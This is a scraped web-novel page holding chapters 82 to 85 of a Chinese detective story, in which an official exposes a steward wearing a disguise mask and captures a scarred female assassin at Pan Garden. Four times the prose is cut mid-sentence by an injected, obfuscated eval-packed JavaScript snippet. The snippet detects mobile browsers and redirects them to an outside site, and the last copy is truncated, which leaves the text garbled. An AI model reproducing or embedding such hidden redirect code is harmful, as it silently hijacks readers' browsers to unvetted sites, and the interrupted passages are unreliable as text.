不过杜羽冷静自持,并未太过失态。他走到安正则身边,严肃道:“安正则,走吧。” 安正则听出了杜羽的声音,微微一笑,便走进了囚车。 伏波将军元无患道:“还需将安正则的仆从、侍卫一并带走,方便大理寺讯问。” 长史吴青峰道:“下官早就想到了,已将安正则的仆人、侍卫一并拘押。来人,将他们带上来。” 以管家来福为首的一众仆人,还有几十个侍卫,一起戴上了镣铐,跟着两位将军的士兵们走。 管家来福悲伤地大喊:“我家公子是无辜的啊!一定是有人诬陷!” 吴青峰皱眉:“闭嘴!此地岂容你喧哗?” 囚车上的安正则也说道:“来福叔,在这里喊冤是没用的,想必大理寺一定能查清真相,还我清白。” 来福老泪纵横,用手摸了摸鼻子,终究没有再喊。 云水谣刚才想到几个疑点,想私下问一下安正则。可是这样的场合,她肯定没法跟安正则私下说话。眼看安正则就要被押走了,忽然,云水谣心生一计。 82.假摔 她假装跌倒,大叫一声。 元景佑和杜羽听见她的叫声,都飞奔上前,查看情况。其他人虽然听见了云水谣的呼叫声,但反应没有这么快。 元景佑问道:“大人,您怎么了?” 云水谣皱眉道:“我刚才好像被什么虫子咬了一下,你们俩扶我去走廊那边坐坐吧。” 于是杜羽和元景佑便一左一右搀扶着云水谣往远处的走廊而去。 云水谣坐定后,低声对杜羽说道:“杜将军,我想问安正则几个问题,这些问题有助于帮他们洗刷冤屈。可否让景佑扮成你的士兵,偷偷询问安正则那几个问题,然后让他快马回来告诉我。” 杜羽道:“可以。” 元景佑问道:“大人,您要问安公子什么问题?” “第一个问题:听说失踪的一万两河道官银在太子府中被发现,安公子可能想出敌人是如何将这一万两官银运送进太子府,且几个月没被发现的?第二个问题:自从安公子眼盲后,能自由进出他卧室的都有谁?第三个问题:最有可能构陷他和太子的人是谁?另外,再问问顾刺史,他平日将别院的钥匙藏在哪里,有可能偷走别院钥匙的又有谁。” 元景佑点头:“好,我会问清楚这些问题。” 云水谣故意高声道:“我的腿只是肿了,并无大碍。景佑,你先回家,让丫环给我准备好热水泡脚。” 元景佑应道:“是。” 杜羽偷偷塞给他一块玉佩,道:“你拿着我的玉佩,到押送队伍的最后头,随便找个士兵借军服。让那士兵留在原地躲藏好,你偷偷跟上来。” 元景佑点了点头,按照吩咐照做。 云水谣便假装一瘸一拐地往外走。 押送队伍出发,长史吴青峰嘴角露出一抹不易察觉的笑容。 云水谣往家的方向走。 这时,有几个孩子戴着面具玩,戴老虎面具的孩子去追逐戴兔子面具的孩子。可那个戴老虎面具的孩子跑得并不快,还时不时地摸摸自己的鼻子。 其他孩子停下来问道:“怎么回事?你应该用尽全力追赶我们才对,你现在是老虎。” 戴老虎面具的孩子道:“我也想跑快一点,可是这个面具太扁了,把我的鼻子压得不舒服,我老想摸鼻子。” “那你戴得松一点嘛。” “不行,松了就掉下来了。” 云水谣看了一会,忽然想到了什么。但现在元景佑不在,也只能等他回来再说。 她在家等了一个时辰左右,元景佑回来了,还穿着士兵的军服。 云水谣问道:“怎么样?问出来了吗?” 元景佑道:“我伪装成押送犯人的士兵,偷偷去安公子身边。杜羽将军借故把安公子身边的其他士兵调走,我得以跟安公子单独说话。我告诉他,失窃的一万两治河官银在太子府中被发现,他非常惊讶。他说运进太子府的东西都会仔细检查,只有自己运送的东西才会比较粗略地检查一下就放进去。而在过年时,他确实曾经运送一批年货到太子府中,不知官银是否被藏在年货里,而自己并不知道。” 云水谣问:“是吗?那他运送年货之前,不会再检查一遍箱子吗?” “那时他已眼盲,是他的管家代为寄东西。” 云水谣道:“但还有一个问题,就是安正则的东西运到太子府,太子府的人不会全部拿出来看看吗?如果官银真的藏在里面,不就能发现了吗?” 景佑:“这就不清楚了,也许太子府的仆人们并未将箱子拆开,也许是那些银两藏得比较隐秘,即便仔细查看也发现不了。” 云水谣:“这两种可能,都不合常理。安正则既然运年货回太子府,太子不需要拿出来赏给其他人吗?难道就直接在库房里放着?再者,一万两官银并不少,幕后之人要如何藏,才能不被人发现?” 元景佑道:“这个问题,只怕暂时没有答案了。就连安正则自己,也只是猜测那一万两官银藏在自己运送的货物中。” 云水谣问道:“那其他问题呢?” 元景佑:“我问他自从眼盲以来,谁能自由进出他房间,他说有几个亲信仆从、打扫房间的丫环,还有管家来福。我问他,这些人里面,有没有人可能背叛他,把百尺楼的信物放在他房间?他说不太可能,那些仆人都是他非常信任的。 于是,我又问了他第三个问题:最有可能构陷他和太子的人是谁?他说,福王表面上跟太子交好,背地里似乎有夺嫡之心,已经数次针对太子一党。若要选一个怀疑对象,他首先会想到福王。” 云水谣喃喃自语:“福王……” 她对福王有所耳闻。太子是先皇后所生,而福王是继后所生,所以他们两人都是嫡子。 但太子居长,且名分早定,福王已经没有机会了。 如果福王有夺嫡之心的话,除掉太子是最佳选择。 元景佑接着说道:“接着,我又偷偷去了顾刺史的囚车,问他平时把别院钥匙放在哪里,有可能偷走钥匙的又有什么人。他说,因为别院不常住,所以别院钥匙他并未随身携带,而是藏在卧室的书桌抽屉里。而能自由进出他卧室的,除了家人、几个亲近仆人外,便是雍州长史吴青峰了。” 云水谣细细琢磨着这些话,觉得自己已经很接近真相了。 她对元景佑说道:“也许安正则的仆人确实不会背叛他,但如果他身边的人已经被替换了呢?” 元景佑一惊:“大人的意思是?” “我一直在想,为什么安正则会瞎?他瞎了,对幕后黑手到底有什么好处?除了能找机会把百尺楼的信物放进他卧室之外,其实还可以把他身边亲近的人替换掉。安正则对亲近的仆人非常熟悉,如果突然被换,他说不定能发现破绽。但是,他如果瞎了,很多破绽就看不见了。” 元景佑恍然:“大人言之有理。幕后黑手将他的仆人替换成自己的人,然后再让替换掉的仆人把百尺楼的信物放进安正则卧室,放好后无需逃走,还可以继续在安正则身边卧底。这样,安正则有任何动向,幕后之人都能及时掌握了。” “没错。景佑,你马上追 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14375980|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上杜羽将军他们的押送大军,叫杜将军做一件事。” “什么事?” “看看安府管家来福的脸上,有没有人皮面具。” “是。” 元景佑马上风尘仆仆地离开,而云水谣的心也狂跳不止。 但愿她的猜测是正确的。 那个管家来福,时不时地在摸鼻子。他解释说自己患了鼻炎,可是云水谣听他说话的声音,并不像患了鼻炎的样子。 还有一种可能,就是他脸上贴了人皮面具,他不是真正的管家来福。 来福是塌鼻梁,而假扮之人应该是高鼻梁,要戴上适配的人皮面具,鼻子一定会被压得不舒服。那么,他时不时摸鼻子,也就可以理解了。 这个灵感,云水谣还是从那几个戴面具的小孩身上得到的。方才在街上见到的几个孩子,其中一个因为面具太扁,压得鼻子不舒服,也是经常去摸鼻子。 云水谣在屋中休息片刻,再把整件事情捋了捋。目前她能做的也就这么多了,接下来要等待元景佑那边的反馈。 又过了三个时辰左右,元景佑回来了,表情有些兴奋,还有些慌张、激动。 只听他对云水谣道:“大人,您所料不差,那个管家来福果然是假的!” “是吗?” 元景佑:“我跟杜羽将军偷偷说了您的猜测,他便找到管家来福,仔细查看他的脸皮,发现他果真戴着人皮面具。面具撕掉后,露出的是一张平平无奇、但鼻梁很高的脸。怪不得他之前一直摸鼻子,他把高鼻梁压塌了,自然不舒服。杜羽将军问安正则,是否知道自己的管家被替换了,他说不知。 杜将军立刻意识到,这个假管家是破解此案的关键人物。为防假管家自尽,或是生出其他事端,杜将军将那假管家绑了,塞住嘴巴,点住穴道,装在麻袋里,先快马加鞭带他回京,由大理寺提审此人。其余人犯和物资,由我堂兄元无患慢慢押送。如果大理寺能撬开那假管家的嘴,也许案情有反转的可能。” 云水谣点头道:“杜将军倒是当机立断,十分聪明。只是,他单独带假管家回京,万一幕后黑手得知,在半道上劫杀他怎么办?” “杜将军揭破假管家的真面目时,是背着人的,其他人并不知道。而且杜将军也马上点住了假管家的哑穴,使其无法呼叫。他去询问安正则时,也是偷偷询问。因此,此事应该并未走漏风声,也许幕后黑手不会知道我们已经发现假管家了。” 云水谣道:“但愿吧。但我担心一件事,那就是那个假管家不肯开口。” 元景佑道:“我想,大理寺应该还是有些手段的,大理寺官员身经百案,什么人犯没见过,应该能让假管家开口说出真相。” “也只能这么希望了。既然发现了假管家,那我们可以合理推测,是这个假管家将百尺楼的赃物放进安正则房间的。也是这个假管家,将一万两赃银放入安正则寄给太子的箱笼中,栽赃太子。” “对,我和杜羽将军、安公子也是这么想的。” “安正则现在如何了?” 83.假扮 “他知道假管家的事后,好像放心了一些,觉得自己翻案有望。他身体不太好,囚车也束缚他的行动,不过杜将军私底下给了他一些食物和补品吃,他应该能平安撑到京城的。” 闻言,云水谣放下心来。她看着安正则送自己的那把琴,脑海中总是浮现出安正则虚弱却坚韧的模样。 接着,她分析道:“据顾刺史所言,能进他卧室的只有家人和长史吴青峰。我有一种感觉,偷走顾刺史别院钥匙的,就是吴长史。” 元景佑点头:“属下也这么觉得。从案发开始,他的表现就很奇怪。他不允许大人参与此案,自己也不用心调查,只是将顾刺史、安公子等人犯收监,并上表朝廷,让朝廷快点派人来提走犯人。但是他又审问副坛主王大兴,得知了百尺楼总坛的位置,剿灭总坛,在总坛得到了太子和安正则的信物。 这件事从表面上看,他做得没什么不妥。既然百尺楼有问题,他抓到了百尺楼的首领之一,自然要逼问百尺楼的总坛所在。但是,从这件事产生的结果来看,太子和安公子一党的嫌疑更深了。而且,诚如您所说,王大兴身为杀手组织的首领,必定很能抗刑罚,为何这么轻易就把总坛地址招供了? 恐怕,这不过是王大兴和吴长史自导自演的一场戏。王大兴假装受刑不过,招供地址;吴长史假装正义凛然,率兵剿灭总坛。而总坛里太子和安正则的那些信物,可能是王大兴及其党羽一早就放进去的。据我们之前分析,那个所谓的总坛,也许只是一个不重要的分坛。那里面的一百多杀手,也只是武功最低的那一批,杀了他们对于百尺楼来说,没什么影响。但对于吴长史、王大兴及幕后势力来说,却有三点好处。 第一,吴长史因为剿灭百尺楼的功劳,也许能升官。即便不能马上升官,也为将来的升迁攒下了资本。吴长史是幕后黑手的人,他爬得越高,对幕后之人就越有利。第二,对百尺楼来说,吴长史此举,替他们清除了组织中的废物。那一百多个杀手,本身武功不高,能杀的人也有限,养着他们十分累赘,不如杀了,还能对其他杀手起到震慑作用——不好好练功,随时会被组织放弃。第三,对幕后黑手来说,这件事能加深太子一党的罪责。所以,幕后之人一举三得,而太子一党暂时输了。” 云水谣点头:“没错,这正是我心中所想。而且,吴长史的神情一直很奇怪。自从顾刺史有嫌疑以来,他既不担心自己会被连坐,也不为顾刺史着急,更没有兔死狐悲的悲伤,而是一直摆出一副深不可测的样子,神色一直很平静,似乎一切都在他预料之中。顾刺史自请下狱,把刺史印交给他,他连阻拦都没有,很自然地就接受了。” 元景佑道:“可惜,这只是推测,我们没有证据。吴长史偷盗顾刺史的别院钥匙,肯定是早就发生的事情,现在再去查,已经晚了。如果有目击者的话,当时就应该跟顾刺史说了,不会等到现在。” 现在,所有的人证、物证都已经被押送进京,吴长史滑不留手,没有留下罪证,且又是上司,云水谣似乎确实做不了什么了。 她觉得元景佑来回奔波,一定很疲惫,便吩咐丫环们多准备一些茶水、点心,跟元景佑一起吃。 柳依依帮忙统计雍州人口,这会正好因为疲惫,来到云水谣这里稍作休息,云水谣便也留她一起吃点心。 柳依依问起今日发生之事,云水谣简单讲了一下。 柳依依道:“真的有人皮面具?那个假管家戴上人皮面具后,别人真的认不出来?” 元景佑道:“没错,我是亲眼见到他脸上的人皮面具被撕下来的,前后完全是两张脸。以前只听说过易容术可以以假乱真,我也是第一次见。” “难道假管家身边的人都认不出来吗?” 云水谣道:“应该认不出来。只要他的模样、身形跟真管家相似,再学一学真管家的声音、习惯,然后戴上人皮面具,几可乱真。若非他一直摸鼻子,露了破绽,我也是想不到这一点的。安正则是从小跟着这个管家长大的,他若不眼盲,也许能看出破绽。但幕后之人应该是想到了这一点,才让方彩杏先刺瞎他。” 柳依依道:“现在我相信安公子的眼盲是幕后黑手刻意为之,而非是简单的感情纠纷。世上的事不会那么凑巧的,只有安公子先瞎了,幕后之人才能继续往下布局。所以,安公子的眼盲,也是他们这个局的一部分。” 云水谣点头:“确实如此。若有机会,我还真想看看那张人皮面具。等等,人皮面具……” 云水谣想到了什么,微微皱眉。 柳依依问道:“大人,怎么了?” 云水谣道:“既然假管家可以使用人皮面具,那其他人不是也可以吗?” 元景佑问道:“大人,您怀疑还有其他人是假的?” “也许,刺瞎安正则的那个方彩杏,是假的。” “您的意思是,那个方彩杏也是别人假扮的?” “没错,很有可能。我们已知真正的方彩杏武功并不高,那么她消失两个月之后,为何武功会突飞猛进,以至于能一招刺瞎安正则?之前我们一直在猜测她是从何处学到如此武功,但也许,我们可以换个思路。真正的方彩杏,武功并未提升。那天来行刺的人,只不过是戴了人皮面具的女杀手而已。而且,根据她的身手可以判断,也许她也是百尺楼的首领之一,武功应该不在王大兴之下。” 元景佑恍然:“如此解释,便合理许多。据安正则所言,那天,方彩杏进入他家,并未多说什么,很快就把他的眼睛刺瞎了。也许,假方彩杏是怕自己说了太多话,逗留太久的话,会露出破绽。” 柳依依道:“也许真正的方彩杏早就投靠了幕后之人,所以她消失的那两个月,一直躲在幕后之人安排的地方,其他人才找不到她。而那个女杀手,那段时间可以跟方彩杏同吃同住,学习她的声音和各种习惯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14385304|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,这样假扮她时会更相像。” 云水谣点头:“没错。真方彩杏负气留书出走,其实也不是真的生气,而是为了找个借口消失几个月,为后续假方彩杏的出现做铺垫。方彩杏消失两个月,突然出现,武功大增,虽然离谱,但也有解释的余地,比如她忽然得到了什么武功秘籍。而她如果不走,一直留在安正则身边,某一天突然由假方彩杏去行刺安正则,就会非常突兀,别人会认为她的武功一夜之间高出许多,而这明显是不可能的,所以一定会引人注意。” 元景佑道:“这么说,我们只要找到真假方彩杏中的其中一个,逼她招供,就更有利于翻案。” 云水谣道:“确实如此,可是去哪找人呢?幕后之人肯定把她们藏得很好。且我们不知道假方彩杏的真正样貌,就算路上碰见,也认不出来。” 元景佑道:“至少我可以把这个发现,飞鸽传书给我堂兄和杜羽将军,让他们也帮着留意。而且,真方彩杏也许会被藏起来,但假方彩杏很可能是百尺楼的女首领,那她就不会一直闭门不出,而是会四处活动,总有机会找到她的。” 元景佑说的有理,只是希望很渺茫罢了。 元景佑拿过纸笔,开始写信,准备飞鸽传书给杜羽。 而云水谣回想起之前安正则所说,那个假方彩杏行刺完成后,就往东南方向跑了。云水谣也决定去东南方向看看。虽然肯定抓不到那个女刺客,但是这一路上必定有动物,也许能得到什么线索。 云水谣对柳依依道:“依依,我有事出门一趟。这些天仍辛苦你帮我统计一下雍州人口,如果吴长史问起,就说我去雍州下辖的各县统计人口去了。” 元景佑问:“大人,可要我陪你一起?” 云水谣想了想,自己似乎确实需要帮手,便道:“你带十五个身手好的护卫随我一起吧。不过,不论我叫你们做什么,你们都别多问,照做就是。” 元景佑道:“好。” 云水谣有时确实会发出一些奇怪的命令,但是照做之后,往往找到了关键线索,元景佑已经习惯了。他知道云水谣身上必有秘密,但云水谣不说,他也不会问。 很快,云水谣便带着景佑等一干护卫出发了。 她们先来到了安宅,这里已经被封了。不过云水谣并不是要进去,而是要以此为起点,确定东南方向。 很快,她找到了准确的方向,慢腾腾地走着,趁机寻找动物。 元景佑不知她为何放慢速度,但也带着疑惑跟随。 云水谣不知道那女刺客往东南方跑了多远,但她行刺之后,安府侍卫立即紧追不舍,应该是追出很长一段路后才跟丢的。侍卫们也没提起那女刺客中途变了方向。 所以,云水谣继续往东南方走较长的路,应该都没错。 大约走了一个多时辰后,云水谣见到了两只乌鸦。 那两只乌鸦在树上说着鸦语。 84.刀疤 只听一只乌鸦道:“大约十几天前,我见到一个女人跑得特别快,比我们飞起来还快。” 另一只道:“怎么可能,人类的速度肯定比不过我们。” “也许那个女人会飞呢?总之,我见到她双脚离地。” “我不信,你吹牛。” “我没吹牛。她不仅双脚离地,还把自己的脸撕了下来。奇的是,她撕了一张脸,还有一张脸。” “这就更不可能了。” “可这是我亲眼看见的。她那两张脸,长得差不多,只是后一张脸更老一些,皮肤更差一些,而且右边眉毛上面还多了一条刀疤。那条刀疤是斜着的,有点粗,黑乎乎的,挺难看的。” “那她应该不是撕掉脸皮,而是卸妆了吧?你不是说她前后两张脸差不多吗?也许她用脂粉遮住了自己的伤疤,所以你才觉得她前后有两张脸,后一张脸更老更难看。” “不,不是卸妆,就是撕掉了脸皮。这我怎么会看错呢?” “你乱说,我看你老眼昏花了。” 云水谣听见了两只乌鸦的话,觉得它们提到的那个女人,应该就是那个女刺客了。 而且,她果然戴了人皮面具,跟云水谣推测的一样。 但云水谣没有想到的是,那个女刺客的本来面貌竟然跟方彩杏相似,所以乌鸦才会说她那两张脸长得差不多。 不过,那女刺客脸上有一个明显特征,就是眉毛上的刀疤。即便她一直蒙面,也可以凭借这个刀疤认出她来。 只是,女刺客行踪不定,即便知道了这些,也难以抓住她。 云水谣对元景佑道:“你派两个护卫回去,偷偷找几个雍州府的官员,询问他们方彩杏的样貌。然后找画师画出来,但是要画得老一些,且要在右边眉毛上方画一条很粗的刀疤。” 元景佑问:“为何这么画?” “我已知那女刺客的样貌就是这样,你先让画师去画出来。” “是。” 元景佑叫来两个护卫,对他们吩咐一番,那两个护卫就朝来路回去了。 之前方彩杏高调追求安正则,还曾经多次去衙门堵他,所以许多雍州官员应该都见过她。那么,获得方彩杏的样貌就不是难事。 云水谣继续往东南方向缓缓前进,两只乌鸦从她头顶飞过。元景佑抬头一看,若有所思。 再继续走了一阵,却没有什么新发现了。偶尔见到几只动物,但它们的聊天已经跟案情无关。云水谣知道,自己刚才能从乌鸦口中得知线索完全是运气好,得是这两只动物刚好见过那女刺客,今日又刚好飞来这里,恰好被自己看见,这已经是巧合中的巧合了。 于是,云水谣便打道回府。 回去时便可快马加鞭了,没过多久就到家了。 稍作休息之后,那两名护卫就带着画像回来了。 护卫道:“大人,已经按照您的吩咐,画出了方彩杏的模样,并且在眉毛处加了一道伤疤。” 云水谣点点头,拿过画像查看。方彩杏长得还挺好看的,圆圆的眼,圆圆的鼻头,淡淡眉毛如同远山云雾。只是,在眉毛上加了刀疤后,就破坏了整体的美感。 这就是那女杀手的样子…… 云水谣喃喃自语:“为何那女杀手会跟方彩杏长得很像呢?” 她又盯着那画像看了看。 这时,徐二妞走了过来,对云水谣道:“大人,元长官跟我说,大人在调查百尺楼的女杀手,让我过来看看,能不能帮上忙。” 云水谣便把画像给她看:“这个人你认识吗?” 徐二妞有些困惑道:“认识……不,不认识……” “到底是认识还是不认识?” 徐二妞伸出手,把画像的下半张脸遮住,道:“这样就认识了。” “你的意思是,你见过她蒙面的样子?” “对,以前我在王大兴家时,这个女人曾经来过几次。她每次都是蒙着面的,但是她眉头上的伤疤太明显了,所以我印象深刻。” “太好了,你可有听到他们说什么?” “有一次我听到王大兴称她为坛主。还有一次,她来了之后,带走了一批已经学成武功的姑娘们。” “坛主……莫非她是王大兴的上级?” “可能吧。关于百尺楼的组织结构,我只知道最大的是大统领,然后各地有许多分坛,每个分坛都有坛主和副坛主。” “关于这个女人,你还知道什么吗?” 徐二妞费劲地想了想,道:“她每次来找王大兴说话的时候,我是没资格进去伺候的,但有一次我路过时,听见那女人说,自己没事时会待在潘园,王大兴若要找她,可寄信到潘园。” “潘园……具体在什么地方?” “不知道。” 潘园这个名称,听起来像一户姓潘的住宅。只是这样的住宅太多了,根本无从找起。 过了一会,元景佑走了过来,云水谣对他说了刚才的事。 元景佑道:“潘园应该不是住宅。” “为何?” “能叫某园的住宅,一定很大,人口也多,这种人家应该在当地有一定的地位,非常显眼。那么,百尺楼的女首领会选择寄居在这种地方吗?这种住宅人多眼杂,容易泄露百尺楼的机密。 假如这个潘园是她家,那么她为何要跟家人住在一起?也是同样的原因,容易泄密。像她这样身份的人,如果要选择一个地方定居,肯定要选那种比较隐秘,且外观上平平无奇的房子。” 云水谣点头:“你说得对。那这个潘园会是什么呢?难道是园林?” “园林的命名风格不是这样的,一般会叫颐和园、拙政园这种有含义、有文采的名字。若是一个姓潘的人建造了园林,就取名叫潘园,是一种很俗气的起法,他身边的人也会制止他的。” “那这潘园既非住宅,又非园林,会是什么?不如这样,你去雍州官吏中打听一下,看有没有经常旅游各地的书吏,就说我有事找他。” “是。” 一个时辰后,元景佑真的找来一个年老的书吏,他年轻时走遍了大江南北,中年时才成为小吏。 云水谣问道:“你可曾听过潘园这个地方?” 那小吏道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14397654|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这名字挺常见的,很多姓潘的富户,会把自己的住宅命名为潘园。” “除了住宅之外呢,还有没有别的潘园?” “哦,有一个地方,说是住宅,又不算住宅。” “什么地方?” “在灵台县,曾经住着一个姓潘的名士。他虽未出仕,但很有才华,其诗文集流传甚广。他又经常为家乡造桥铺路,口碑很好。他住的地方也很漂亮,设计得跟园林一般。后来他过世了,因没有后代,住宅充公。官府感念他在世时的名声和功德,并未将他的房子挪作他用,而是保留一切设施,布置成一个旅游景点,就叫潘园。 那个地方曾经是潘名士的住所,现在又不是了,所以我才说,那里算是住宅,又不算住宅。” 云水谣惊喜道:“你能否在地图上指出位置?” “可以,不过得先有灵台县的地图。” “这……怕是不好买。” 对很多百姓来说,其他地方的详细地图没用,所以很少有卖地图的。就算有,也是卖本地的地图。灵台县太偏远了,恐怕找遍雍州城,也未必能买到其地图。 小吏道:“无妨,我会画,但是画得一般,将就看吧。” 云水谣赶紧取纸笔来,让小吏画地图。 在他作画时,云水谣问:“那个潘园热闹吗?” “不太热闹,平时去的人很少。那个潘名士本来也只在家乡一带比较有名气,外地人很少知道他的,自然不会特意去他生前住宅看。” 过了两炷香左右的时间,那小吏画好了一张简易的地图,指出了潘园的位置。 云水谣向那小吏道了谢,嘱咐他不可将此事外传。 然后,她就带领元景佑和二十来个护卫,一起去找这个潘园。 路上,元景佑问:“大人,您确定那女刺客现在一定在潘园吗?” “我不确定,只能确定潘园是她闲暇时所待的地点。只能碰碰运气了。” “嗯。” 她们马不停蹄地赶路,大概七八天后,来到了福州的灵台县,找到了潘园。 潘园前面门可罗雀,没有游客,院子里只有一个老妪在扫地。 元景佑道:“小姐,我们进去看看。” 在外面为了隐藏身份,云水谣扮成了一个富家小姐,元景佑等人都作护院打扮,看起来像是一群护院跟着自家小姐出来玩。而他们对云水谣的称呼,也是“小姐”。 云水谣带众人走了进去,那老妪仍是低头扫地,并未跟她们搭话。 为了找人,护卫们分头逛,最后在后门集合。 半个时辰后,众人都逛完了,来到云水谣面前,说:“小姐,没找到。” 元景佑道:“小姐,看来那人不在这里。” 云水谣道:“等等。” 她重新走到前院,见那老妪还在扫地,便问道:“大娘,这里平时有人来吗?” 老妪道:“什么?大声一点,我耳背。” 云水谣又大声重复了一遍。 老妪道:“平日里游客很少,但有一个眉毛上有刀疤的女人会经常来。” 85.博弈 云水谣有些激动,道:“那她是住这儿吗?” “这里是景点,不能住人的。只有我因为负责打扫这里,所以住在门房。不过我经常只看见那个女人进来,没看见她出去。有时候晚上起来,会看见人影,我都以为是眼花了。” 根据这老妪所说,那个女杀手应该是偶尔住在这里无疑了。以女杀手的身手,要瞒过这老妪是很容易的。潘园这么大,她随便找间房子住就行了。 云水谣又问道:“那最近她有来过吗?” “最近没有。” 云水谣准备离开,她打算派几个人在这里守着,一旦那女杀手回来,立刻抓捕。 她刚要往外走,元景佑却拉住了她。云水谣看向他,他却没解释什么,而是走回那老妪身边,问道:“大娘,您眼睛还好吗?” 老妪道:“虽然我年纪大了,但还能看得清,扫扫地是没问题的。” 元景佑又道:“可是,安正则的眼睛却不好了,您知道吗?” 那老妪抬起头来,瞳孔骤然收缩,有一瞬间的惊讶、防备。但她很快又低下头去,道:“这位客人,你在说什么?” 元景佑冷笑:“我在说什么,你应该很清楚,坛主。” 云水谣还没反应过来,元景佑便将她推到一边,然后伸手去抓那老妪。 那老妪似乎手无缚鸡之力,被元景佑抓住了,大叫道:“你这年轻人,干什么,快放开我……” 元景佑却没说话,而是拽住那老妪的白发,用力一扯。没想到,白发竟被扯了下来,露出一头乌黑的青丝。同时,那老妪脸上的皮也被扯下一块,露出眉毛上方的刀疤。 这下,她彻底不装了,撕下人皮面具,直起身子,跟元景佑打斗起来。 元景佑一声招呼,其他护卫一拥而上,围攻这个女人。 云水谣看清楚了,这个女人跟画像上的方彩杏很像,只是看起来老一些,眉毛上方有一道很深的刀疤。 她就是那个行刺安正则的女杀手! 原来她扮作洒扫庭院的老妪,难怪能长居此地,而不被人发现。也不知道元景佑刚才是怎么看出来的。 她也不算很老,大概四十多岁,眉眼比方彩杏狠厉些。她和元景佑等人打得有来有回,战况非常激烈。 如果只有元景佑,大概是打不过她的,好在这次带了许多护卫来,那女刺客渐渐落了下风。 大约过了半个时辰后,终于将她擒住了。元景佑点了她的穴道,将她五花大绑,带到云水谣面前跪下。 云水谣已经找了一块大石头坐了,镇定地问道:“你就是假扮成方彩杏,刺瞎安正则的人吧?你叫什么名字?” 那女刺客冷哼一声:“我不知道你在说什么。” 云水谣微笑:“我劝你还是早点招供了吧,我知道的比你想象的多。比如,我知道你的真实身份是百尺楼的一位坛主。” “既然你如此神通广大,怎么连我的名字也查不出来呢?” 云水谣感觉到,这个人是个硬茬。能做到百尺楼的坛主职位,其智谋、武功、应变、辩才绝非常人能及。 看来,自己只能说出一些让她惊讶的话,打她一个措手不及。 只是,有的事,云水谣也只是猜测。 她故意胸有成竹地说道:“我虽不知你的名字,却知道你是方彩杏的亲生母亲。” 这女刺客惊讶地抬头看着云水谣,从这个表情,云水谣就可以判断出,自己猜对了。 就连元景佑也没有想到云水谣会说出这句话,事先一点口风也没露。不过,元景佑性子沉稳,也没有说什么或是露出破绽。 女刺客问道:“你怎么知道?” 云水谣笑道:“我说过,我比你想的要厉害得多。你一定以为,你在如此偏远的景点假扮成扫地老妪,别人绝不可能找到你,但偏偏被我找到了。我连你都能找到,你猜,你女儿是否已经落入我的手中?” 这女刺客有些惊慌,道:“你……你想对她做什么?” “你放心,只要你老实交代,我不会对她做什么。” 这女刺客沉默了。接着,她忽然抬头看云水谣:“这样吧,只要你让我见我女儿一面,我就配合你。” 这下轮到云水谣接不住招了。这女杀手在关心则乱的情况下,竟能迅速稳定心神,猜到云水谣未必抓了方彩杏,从而反将一军,其心理素质不容小觑。 云水谣决定坦诚一些:“好吧,我承认,我确实没有抓到你女儿。但是,以我的能力,抓到她是迟早的事。我是官府的人,你落到我手中,只有一个结果,就是死。但是你女儿如何量刑,却有很大的运作空间。 她也参与了构陷太子一党的计划,如果深究起来,可能是死罪,就算量刑轻些,可能也得流放或充为官.妓。甚至,皇上恼怒于她参与了刺瞎安正则的计划,可能会把她也弄瞎,再予以流放或重入教坊司。那她的后半生,就再无一丝光明。” 那女刺客有几分担忧,又带着几分垂死挣扎:“不,不会的……安正则的眼睛是我刺瞎的,跟彩杏无关。” 听她这么说,云水谣便知道,自己之前的那些猜测大部分应该都是真的。 于是,她继续说道:“可是这个计划,没有她的参与,是没法成功的。你可以扮成她的模样去刺杀安正则,但你却无法长久扮成她而不被人瞧出破绽。在前期,故意接近安正则,高调追求他,这些事都只有方彩杏本人能做。将来她的量刑,必不会轻。” 谁知,这女杀手又笑了:“你们不可能找到她的。” 云水谣装出一副为她好的样子,帮她分析:“你会这么认为,无非是觉得自己幕后的主子肯定会把方彩杏藏得很好。可是,他为什么要帮忙隐藏你女儿?无非是想让你继续为他效力。可你都落网了,马上要被判处死刑,你女儿这个人质,他扣在手上还有何意义? 虽然方彩杏会武功,可她那三脚猫的功夫,也做不了杀手,不如杀了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 